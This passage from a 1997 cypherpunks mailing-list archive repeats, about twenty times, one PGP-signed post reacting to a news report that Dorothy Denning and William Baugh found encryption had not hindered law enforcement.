iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 10:31:36 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010224.UAA10843@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 10:36:27 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010229.UAA11031@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 10:42:02 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010235.UAA11226@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 10:46:37 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010240.UAA11453@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 10:56:59 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010245.UAA11676@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 11:01:34 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010255.UAA12060@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 11:10:37 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010301.VAA12316@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 11:14:57 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010306.VAA12518@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 11:21:39 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010311.VAA12700@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 11:25:33 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010250.UAA11859@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 11:24:47 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010317.VAA12880@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 11:37:54 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010328.VAA13339@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 11:36:24 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010323.VAA13141@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 11:42:07 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010334.VAA13686@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 11:50:56 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010339.VAA13890@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 11:56:39 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010345.VAA14095@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 11:59:51 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010351.VAA14266@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 12:05:16 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010356.VAA14479@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 12:16:05 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010407.WAA14923@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

